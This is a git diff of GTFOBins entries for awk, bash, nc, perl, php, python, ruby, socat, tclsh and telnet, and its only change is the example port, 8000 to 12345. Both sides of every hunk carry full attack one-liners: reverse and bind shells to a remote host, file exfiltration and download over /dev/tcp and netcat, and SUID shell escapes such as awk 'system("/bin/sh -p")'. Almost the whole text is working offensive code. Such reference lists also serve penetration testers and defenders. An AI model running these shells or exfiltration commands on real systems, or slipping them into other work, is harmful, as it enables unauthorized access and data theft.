diff --git a/_gtfobins/awk.md b/_gtfobins/awk.md index c9bd2a8..9303c78 100644 --- a/_gtfobins/awk.md +++ b/_gtfobins/awk.md @@ -7,18 +7,18 @@ functions: suid-limited: - code: ./awk 'BEGIN {system("/bin/sh -p")}' reverse-shell-non-interactive: - - description: Run `nc -l -p 8000` to receive the shell on the other end. + - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | RHOST=10.0.0.1 - RPORT=8000 + RPORT=12345 awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN { s = "/inet/tcp/0/" RHOST "/" RPORT; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' bind-shell-non-interactive: - - description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end. + - description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end. code: | - LPORT=8000 + LPORT=12345 awk -v LPORT=$LPORT 'BEGIN { s = "/inet/tcp/" LPORT "/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; diff --git a/_gtfobins/bash.md b/_gtfobins/bash.md index 2be954d..a02ffea 100644 --- a/_gtfobins/bash.md +++ b/_gtfobins/bash.md @@ -10,32 +10,32 @@ functions: - description: Send local file in the body of an HTTP POST request. Run an HTTP service to collect the file on the other end. code: | RHOST=10.0.0.1 - RPORT=8000 + RPORT=12345 LFILE=file_to_send echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT - - description: Send local file using a TCP connection. Run `nc -l -p 8000 > "where_to_save"` to collect the file on the other end. + - description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` to collect the file on the other end. code: | RHOST=10.0.0.1 - RPORT=8000 + RPORT=12345 LFILE=file_to_send cat $LFILE > /dev/tcp/$RHOST/$RPORT download: - description: Fetch a remote file via HTTP GET request. code: | RHOST=10.0.0.1 - RPORT=8000 + RPORT=12345 LFILE=file_to_get (echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE - - description: Fetch remote file using a TCP connection. Run `nc -l -p 8000 < "file_to_send"` to send the file from the other end. + - description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` to send the file from the other end. code: |- RHOST=10.0.0.1 - RPORT=8000 + RPORT=12345 LFILE=file_to_get cat < /dev/tcp/$RHOST/$RPORT > $LFILE reverse-shell: - - description: Run `nc -l -p 8000` to receive the shell on the other end. + - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | RHOST=10.0.0.1 - RPORT=8000 + RPORT=12345 bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1 --- diff --git a/_gtfobins/nc.md b/_gtfobins/nc.md index 5605401..d9eef50 100644 --- a/_gtfobins/nc.md +++ b/_gtfobins/nc.md @@ -2,27 +2,27 @@ functions: upload: - description: | - Send a file to a TCP port. Run `nc -l -p 8000 > "where_to_save"` to collect the file on the other end. + Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` to collect the file on the other end. code: | RHOST=10.0.0.1 - RPORT=8000 + RPORT=12345 LFILE=file_to_send nc $RHOST $RPORT < "$LFILE" download: - - description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 8000 < "file_to_send"` to send the file from the other end. + - description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 12345 < "file_to_send"` to send the file from the other end. code: |- - LPORT=8000 + LPORT=12345 LFILE=where_to_save nc -l -p $LPORT > "$LFILE" reverse-shell: - - description: Run `nc -l -p 8000` to receive the shell on the other end. + - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | RHOST=10.0.0.1 - RPORT=8000 + RPORT=12345 nc -e /bin/sh $RHOST $RPORT bind-shell: - - description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end. + - description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end. code: | - LPORT=8000 + LPORT=12345 nc -l -p $LPORT -e /bin/sh --- diff --git a/_gtfobins/perl.md b/_gtfobins/perl.md index d8d5420..0b6ee3a 100644 --- a/_gtfobins/perl.md +++ b/_gtfobins/perl.md @@ -7,9 +7,9 @@ functions: suid-enabled: - code: ./perl -e 'exec "/bin/sh";' reverse-shell: - - description: Run `nc -l -p 8000` to receive the shell on the other end. + - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | export RHOST=10.0.0.1 - export RPORT=8000 + export RPORT=12345 perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' --- \ No newline at end of file diff --git a/_gtfobins/php.md b/_gtfobins/php.md index 90ea116..7331b5d 100644 --- a/_gtfobins/php.md +++ b/_gtfobins/php.md @@ -32,9 +32,9 @@ functions: export LFILE=file_to_get php -r '$c=file_get_contents($_ENV["URL"]);file_put_contents($_ENV["LFILE"], $c);' reverse-shell: - - description: Run `nc -l -p 8000` to receive the shell on the other end. + - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | export RHOST=127.0.0.1 - export RPORT=8000 + export RPORT=12345 php -r '$sock=fsockopen($_ENV["RHOST"],$_ENV["RPORT"]);exec("/bin/sh -i <&3 >&3 2>&3");' --- \ No newline at end of file diff --git a/_gtfobins/python2.md b/_gtfobins/python2.md index d4f3cb3..ea5b89a 100644 --- a/_gtfobins/python2.md +++ b/_gtfobins/python2.md @@ -23,10 +23,10 @@ functions: export LFILE=file_to_get python -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])' reverse-shell: - - description: Run socat file:`tty`,raw,echo=0 tcp-listen:8000 to receive the shell on the other end. + - description: Run socat file:`tty`,raw,echo=0 tcp-listen:12345 to receive the shell on the other end. code: | export RHOST=127.0.0.1 - export RPORT=8000 + export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")' load-library: - code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' diff --git a/_gtfobins/python3.md b/_gtfobins/python3.md index 6c55a6c..7ab13d5 100644 --- a/_gtfobins/python3.md +++ b/_gtfobins/python3.md @@ -23,10 +23,10 @@ functions: export LFILE=file_to_get python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])' reverse-shell: - - description: Run socat file:`tty`,raw,echo=0 tcp-listen:8000 to receive the shell on the other end. + - description: Run socat file:`tty`,raw,echo=0 tcp-listen:12345 to receive the shell on the other end. code: | export RHOST=127.0.0.1 - export RPORT=8000 + export RPORT=12345 python3 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")' load-library: - code: python3 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' diff --git a/_gtfobins/ruby.md b/_gtfobins/ruby.md index 8c2bdb6..0247702 100644 --- a/_gtfobins/ruby.md +++ b/_gtfobins/ruby.md @@ -10,10 +10,10 @@ functions: export LPORT=8888 ruby -run -e httpd . -p $LPORT reverse-shell: - - description: Run `nc -l -p 8000` to receive the shell on the other end. + - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | export RHOST=10.0.0.1 - export RPORT=8000 + export RPORT=12345 ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' load-library: - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")' diff --git a/_gtfobins/socat.md b/_gtfobins/socat.md index 60093da..19e5b7d 100644 --- a/_gtfobins/socat.md +++ b/_gtfobins/socat.md @@ -1,9 +1,9 @@ --- functions: reverse-shell: - - description: Run socat file:`tty`,raw,echo=0 tcp-listen:8000 to receive the shell on the other end. + - description: Run socat file:`tty`,raw,echo=0 tcp-listen:12345 to receive the shell on the other end. code: | RHOST=10.0.0.1 - RPORT=8000 + RPORT=12345 socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane --- \ No newline at end of file diff --git a/_gtfobins/tclsh.md b/_gtfobins/tclsh.md index 05ed4c8..f1f123c 100644 --- a/_gtfobins/tclsh.md +++ b/_gtfobins/tclsh.md @@ -13,9 +13,9 @@ functions: ./tclsh exec /bin/sh -p <@stdin >@stdout 2>@stderr reverse-shell-non-interactive: - - description: Run `nc -l -p 8000` to receive the shell on the other end. + - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | export RHOST=10.0.0.1 - export RPORT=8000 + export RPORT=12345 echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh --- \ No newline at end of file diff --git a/_gtfobins/telnet.md b/_gtfobins/telnet.md index 2b9eafa..12fd495 100644 --- a/_gtfobins/telnet.md +++ b/_gtfobins/telnet.md @@ -9,10 +9,10 @@ functions: ^] !/bin/sh reverse-shell: - - description: Run `nc -l -p 8000` to receive the shell on the other end. + - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | RHOST=10.0.0.1 - RPORT=8000 + RPORT=12345 TF=$(mktemp) rm $TF mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/bash 1>$TF